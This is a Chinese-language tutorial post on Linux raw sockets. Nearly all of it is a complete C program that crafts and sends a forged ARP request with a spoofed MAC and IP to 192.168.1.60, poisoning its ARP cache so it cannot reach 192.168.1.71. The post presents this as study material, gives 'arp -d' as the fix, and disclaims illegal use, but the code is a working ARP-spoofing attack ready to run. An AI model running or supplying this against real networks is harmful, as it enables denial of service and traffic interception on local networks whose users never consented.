linux原始套接字,可以直接发送和接收链路层和网络层的报文,对我们理解TCP/IP协议栈有很多帮助。
也可写出很多有趣的程序。
下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING通192.168.1.71。
使用命令arp -d 删除arp缓存即可恢复。
本示例仅供学习交流,请勿用于非法用途。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#define print_errno(fmt, ...) \
printf("[%d] errno=%d (%s) #" fmt, \
__LINE__, errno, strerror(errno), ####__VA_ARGS__)
static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int s_ip_frame_size = 0;
int main(int argc,char** argv)
{
struct ether_header *eth = NULL;
struct ether_arp *arp = NULL;
struct ifreq ifr;
struct in_addr daddr;
struct in_addr saddr;
struct sockaddr_ll sll;
int skfd;
int n = 0;
unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
/*伪造 源MAC*/
unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};
daddr.s_addr = inet_addr("192.168.1.60");
/*伪造 源IP*/
saddr.s_addr = inet_addr("192.168.1.71");
memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);
/*创建原始套接字*/
skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (skfd < 0) {
print_errno("socket() failed! \n");
return -1;
}
bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name, "eth1");
if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
print_errno("ioctl() SIOCGIFINDEX failed!\n");
return -1;
}
printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ifr.ifr_ifindex;
sll.sll_family = PF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
#if 0
/*获取本机IP*/
if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
printf("ioctl() SIOCGIFADDR failed! \n");
return -1;
}
printf("ifr_addr = %s\n", \
inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));
/*获取本机MAC*/
if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
printf("ioctl() SIOCGIFHWADDR failed! \n");
return -1;
}
printf("ifr_hwaddr = %02x-%02x-%02x-%02x-%02x-%02x\n", \
(unsigned char)ifr.ifr_hwaddr.sa_data[0], \
(unsigned char)ifr.ifr_hwaddr.sa_data[1], \
(unsigned char)ifr.ifr_hwaddr.sa_data[2], \
(unsigned char)ifr.ifr_hwaddr.sa_data[3], \
(unsigned char)ifr.ifr_hwaddr.sa_data[4], \
(unsigned char)ifr.ifr_hwaddr.sa_data[5]);
#endif
/*构造以太报文*/
eth = (struct ether_header*)s_ip_frame_data;
eth->ether_type = htons(ETHERTYPE_ARP);
memcpy(eth->ether_dhost, dmac, ETH_ALEN);
memcpy(eth->ether_shost, smac, ETH_ALEN);
/*构造ARP报文*/
arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
arp->arp_hrd = htons(ARPHRD_ETHER);
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_hln = ETH_ALEN;
arp->arp_pln = 4;
arp->arp_op = htons(ARPOP_REQUEST);
memcpy(arp->arp_sha, smac, ETH_ALEN);
memcpy(arp->arp_spa, &saddr.s_addr, 4);
/*
memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
memcpy(arp->arp_tpa, &daddr.s_addr, 4);
s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
(struct sockaddr*)&sll, sizeof(sll));
if (n < 0) {
print_errno("sendto() failed!\n");
}
else {
printf("sendto() n = %d \n", n);
}
close(skfd);
return 0;
}